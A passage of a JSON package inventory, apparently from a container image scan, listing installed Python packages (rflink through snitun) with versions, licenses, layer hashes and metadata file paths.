"Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/rfk101py-0.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "rflink", "Identifier": { "PURL": "pkg:pypi/rflink@0.0.68", "UID": "de6baf9e5447cc0f" }, "Version": "0.0.68", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/rflink-0.0.68.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "rich", "Identifier": { "PURL": "pkg:pypi/rich@10.16.2", "UID": "32bdb0cddcb2e4e9" }, "Version": "10.16.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/rich-10.16.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ring-doorbell", "Identifier": { "PURL": "pkg:pypi/ring-doorbell@0.9.14", "UID": "6570d587118f26e7" }, "Version": "0.9.14", "Licenses": [ "LGPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ring_doorbell-0.9.14.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ritassist", "Identifier": { "PURL": "pkg:pypi/ritassist@0.9.2", "UID": "a978ae3c3609022a" }, "Version": "0.9.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ritassist-0.9.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "rjpl", "Identifier": { "PURL": "pkg:pypi/rjpl@0.3.6", "UID": "9b2ef49cbbb6a687" }, "Version": "0.3.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/rjpl-0.3.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "rocketchat-API", "Identifier": { "PURL": "pkg:pypi/rocketchat-api@0.6.1", "UID": "2b615719260d98d2" }, "Version": "0.6.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/rocketchat_API-0.6.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "rokuecp", "Identifier": { "PURL": "pkg:pypi/rokuecp@0.19.5", "UID": "2338bb6967fa726b" }, "Version": "0.19.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/rokuecp-0.19.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "romy", "Identifier": { "PURL": "pkg:pypi/romy@0.0.10", "UID": "b93ba46c279aebfb" }, "Version": "0.0.10", "Licenses": [ "AGPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/romy-0.0.10.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "roombapy", "Identifier": { "PURL": "pkg:pypi/roombapy@1.9.1", "UID": "9c3117add158df3a" }, "Version": "1.9.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/roombapy-1.9.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "roonapi", "Identifier": { "PURL": "pkg:pypi/roonapi@0.1.6", "UID": "2cf9132160a9ceee" }, "Version": "0.1.6", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/roonapi-0.1.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "rova", "Identifier": { "PURL": "pkg:pypi/rova@0.4.1", "UID": "c5833c34a87bd835" }, "Version": "0.4.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/rova-0.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "rpds-py", "Identifier": { "PURL": "pkg:pypi/rpds-py@2026.6.3", "UID": "57085cdfc7a2e31c" }, "Version": "2026.6.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/rpds_py-2026.6.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "rpi-bad-power", "Identifier": { "PURL": "pkg:pypi/rpi-bad-power@0.1.0", "UID": "120d2cd24d5df2c" }, "Version": "0.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/rpi_bad_power-0.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "rsa", "Identifier": { "PURL": "pkg:pypi/rsa@4.9.1", "UID": "b8de3da47fbfe65a" }, "Version": "4.9.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/rsa-4.9.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "ruuvitag-ble", "Identifier": { "PURL": "pkg:pypi/ruuvitag-ble@0.4.0", "UID": "f3ac288cccb25b0f" }, "Version": "0.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/ruuvitag_ble-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "rxv", "Identifier": { "PURL": "pkg:pypi/rxv@0.7.0", "UID": "7256edaa32d59164" }, "Version": "0.7.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/rxv-0.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "s3transfer", "Identifier": { "PURL": "pkg:pypi/s3transfer@0.11.3", "UID": "431d7863d02f7e0f" }, "Version": "0.11.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/s3transfer-0.11.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "samsungctl", "Identifier": { "PURL": "pkg:pypi/samsungctl@0.7.1", "UID": "38818b8a38fb0168" }, "Version": "0.7.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/samsungctl-0.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "samsungtvws", "Identifier": { "PURL": "pkg:pypi/samsungtvws@3.0.5", "UID": "ca7fdceb080cae39" }, "Version": "3.0.5", "Licenses": [ "LGPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/samsungtvws-3.0.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sanix", "Identifier": { "PURL": "pkg:pypi/sanix@1.0.6", "UID": "fdf419236c501349" }, "Version": "1.0.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sanix-1.0.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "satel_integra", "Identifier": { "PURL": "pkg:pypi/satel-integra@1.3.1", "UID": "ff2043a2a9ee8f51" }, "Version": "1.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/satel_integra-1.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "scapy", "Identifier": { "PURL": "pkg:pypi/scapy@2.7.0", "UID": "b3457732f9d49cdd" }, "Version": "2.7.0", "Licenses": [ "GPL-2.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/scapy-2.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "schedule", "Identifier": { "PURL": "pkg:pypi/schedule@1.2.2", "UID": "2989899c31a5c4b2" }, "Version": "1.2.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/schedule-1.2.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "scipy", "Identifier": { "PURL": "pkg:pypi/scipy@1.18.0", "UID": "96afa8ae9d8536ba" }, "Version": "1.18.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/scipy-1.18.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "screenlogicpy", "Identifier": { "PURL": "pkg:pypi/screenlogicpy@0.10.2", "UID": "42f71b12a6136b78" }, "Version": "0.10.2", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/screenlogicpy-0.10.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "securetar", "Identifier": { "PURL": "pkg:pypi/securetar@2026.4.1", "UID": "5bb31f5ac4c7cd1c" }, "Version": "2026.4.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/securetar-2026.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "segno", "Identifier": { "PURL": "pkg:pypi/segno@1.6.6", "UID": "941f8cb06a059f3" }, "Version": "1.6.6", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/segno-1.6.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "selenium", "Identifier": { "PURL": "pkg:pypi/selenium@4.45.0", "UID": "10e059193d599f7d" }, "Version": "4.45.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/selenium-4.45.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "semver", "Identifier": { "PURL": "pkg:pypi/semver@3.0.4", "UID": "64056af163e7ca25" }, "Version": "3.0.4", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/semver-3.0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sendgrid", "Identifier": { "PURL": "pkg:pypi/sendgrid@6.8.2", "UID": "4fb48b88f7c51691" }, "Version": "6.8.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sendgrid-6.8.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sense_energy", "Identifier": { "PURL": "pkg:pypi/sense-energy@0.14.1", "UID": "17bb788370af13e4" }, "Version": "0.14.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sense_energy-0.14.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sensirion-ble", "Identifier": { "PURL": "pkg:pypi/sensirion-ble@0.1.1", "UID": "c0e3244eec013da9" }, "Version": "0.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sensirion_ble-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sensor-state-data", "Identifier": { "PURL": "pkg:pypi/sensor-state-data@2.20.0", "UID": "83d188fecaa74e1c" }, "Version": "2.20.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sensor_state_data-2.20.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sensorpro-ble", "Identifier": { "PURL": "pkg:pypi/sensorpro-ble@0.7.1", "UID": "89ba0b3a929b41b7" }, "Version": "0.7.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sensorpro_ble-0.7.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sensorpush-api", "Identifier": { "PURL": "pkg:pypi/sensorpush-api@2.1.3", "UID": "9baacf1efad67101" }, "Version": "2.1.3", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sensorpush_api-2.1.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sensorpush-ble", "Identifier": { "PURL": "pkg:pypi/sensorpush-ble@1.9.0", "UID": "23cc0595e9a7dc4a" }, "Version": "1.9.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sensorpush_ble-1.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sensorpush-ha", "Identifier": { "PURL": "pkg:pypi/sensorpush-ha@1.3.2", "UID": "931d4db56537a1dc" }, "Version": "1.3.2", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sensorpush_ha-1.3.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sensoterra", "Identifier": { "PURL": "pkg:pypi/sensoterra@2.0.1", "UID": "b6144f097bad1994" }, "Version": "2.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sensoterra-2.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sentence_stream", "Identifier": { "PURL": "pkg:pypi/sentence-stream@1.3.0", "UID": "3f73c9b5239d4846" }, "Version": "1.3.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/sentence_stream-1.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sentry-sdk", "Identifier": { "PURL": "pkg:pypi/sentry-sdk@2.48.0", "UID": "76639ca30c9e9625" }, "Version": "2.48.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sentry_sdk-2.48.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sepaxml", "Identifier": { "PURL": "pkg:pypi/sepaxml@2.7.0", "UID": "e0830a8aab83154a" }, "Version": "2.7.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sepaxml-2.7.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "serialio", "Identifier": { "PURL": "pkg:pypi/serialio@2.4.0", "UID": "222a6a9c4aebd7bf" }, "Version": "2.4.0", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/serialio-2.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "serialx", "Identifier": { "PURL": "pkg:pypi/serialx@1.8.2", "UID": "bcb537838d2acd53" }, "Version": "1.8.2", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/serialx-1.8.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "setuptools", "Identifier": { "PURL": "pkg:pypi/setuptools@81.0.0", "UID": "584a827c7625f1b7" }, "Version": "81.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/setuptools-81.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sfrbox-api", "Identifier": { "PURL": "pkg:pypi/sfrbox-api@0.1.1", "UID": "75437552ade4dbd9" }, "Version": "0.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sfrbox_api-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sgmllib3k", "Identifier": { "PURL": "pkg:pypi/sgmllib3k@1.0.0", "UID": "da16c4eec527e061" }, "Version": "1.0.0", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sgmllib3k-1.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sharkiq", "Identifier": { "PURL": "pkg:pypi/sharkiq@1.5.0", "UID": "5a2353692414e3cd" }, "Version": "1.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sharkiq-1.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sharp-aquos-rc", "Identifier": { "PURL": "pkg:pypi/sharp-aquos-rc@0.3.2", "UID": "cf71aadd0e70accd" }, "Version": "0.3.2", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sharp_aquos_rc-0.3.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "shellingham", "Identifier": { "PURL": "pkg:pypi/shellingham@1.5.4", "UID": "54a506f19aea87aa" }, "Version": "1.5.4", "Licenses": [ "ISC" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/shellingham-1.5.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "shodan", "Identifier": { "PURL": "pkg:pypi/shodan@1.28.0", "UID": "7b3b9262b722b9f" }, "Version": "1.28.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/shodan-1.28.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "shortuuid", "Identifier": { "PURL": "pkg:pypi/shortuuid@1.0.13", "UID": "8c2ab130e10674c8" }, "Version": "1.0.13", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/shortuuid-1.0.13.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "simple-websocket", "Identifier": { "PURL": "pkg:pypi/simple-websocket@1.1.0", "UID": "6116ebf423b57422" }, "Version": "1.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/simple_websocket-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "simpleeval", "Identifier": { "PURL": "pkg:pypi/simpleeval@1.0.7", "UID": "764ba1dedbd1bae6" }, "Version": "1.0.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/simpleeval-1.0.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "simplefin4py", "Identifier": { "PURL": "pkg:pypi/simplefin4py@0.0.18", "UID": "32334282021b9601" }, "Version": "0.0.18", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/simplefin4py-0.0.18.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "simplehound", "Identifier": { "PURL": "pkg:pypi/simplehound@0.3", "UID": "93e822b82f350bff" }, "Version": "0.3", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/simplehound-0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "simplejson", "Identifier": { "PURL": "pkg:pypi/simplejson@4.1.1", "UID": "ef86e360600182f9" }, "Version": "4.1.1", "Licenses": [ "MIT OR AFL-2.1" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/simplejson-4.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "simplepush", "Identifier": { "PURL": "pkg:pypi/simplepush@2.2.3", "UID": "5ecc1ec3ac2d1469" }, "Version": "2.2.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/simplepush-2.2.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "simplisafe-python", "Identifier": { "PURL": "pkg:pypi/simplisafe-python@2024.1.0", "UID": "93a7d6894ddb5874" }, "Version": "2024.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/simplisafe_python-2024.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "siobrultech-protocols", "Identifier": { "PURL": "pkg:pypi/siobrultech-protocols@0.5.0", "UID": "d4a2d21684f3a7e1" }, "Version": "0.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/siobrultech_protocols-0.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sisyphus_control", "Identifier": { "PURL": "pkg:pypi/sisyphus-control@3.1.4", "UID": "be77d97829552118" }, "Version": "3.1.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sisyphus_control-3.1.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "six", "Identifier": { "PURL": "pkg:pypi/six@1.17.0", "UID": "b7da2d481ad0579c" }, "Version": "1.17.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/six-1.17.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "skyboxremote", "Identifier": { "PURL": "pkg:pypi/skyboxremote@0.0.6", "UID": "e4bf4c3f193d5cb9" }, "Version": "0.0.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/skyboxremote-0.0.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "slack_sdk", "Identifier": { "PURL": "pkg:pypi/slack-sdk@3.33.4", "UID": "9d4a041651dabcf2" }, "Version": "3.33.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/slack_sdk-3.33.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sleekxmppfs", "Identifier": { "PURL": "pkg:pypi/sleekxmppfs@1.4.1", "UID": "ae836b316bef99de" }, "Version": "1.4.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sleekxmppfs-1.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "slixmpp", "Identifier": { "PURL": "pkg:pypi/slixmpp@1.13.2", "UID": "853289ba444fa824" }, "Version": "1.13.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/slixmpp-1.13.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "smart_meter_texas", "Identifier": { "PURL": "pkg:pypi/smart-meter-texas@0.5.5", "UID": "42623dbe231e750b" }, "Version": "0.5.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/smart_meter_texas-0.5.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "snapcast", "Identifier": { "PURL": "pkg:pypi/snapcast@2.3.8", "UID": "56b1e924387aa5e2" }, "Version": "2.3.8", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/snapcast-2.3.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "sniffio", "Identifier": { "PURL": "pkg:pypi/sniffio@1.3.1", "UID": "99045d80782f2017" }, "Version": "1.3.1", "Licenses": [ "MIT", "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/sniffio-1.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "snitun", "Identifier": { "PURL": "pkg:pypi/snitun@0.45.1", "UID": "79b0811641df9427" }, "Version": "0.45.1", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": 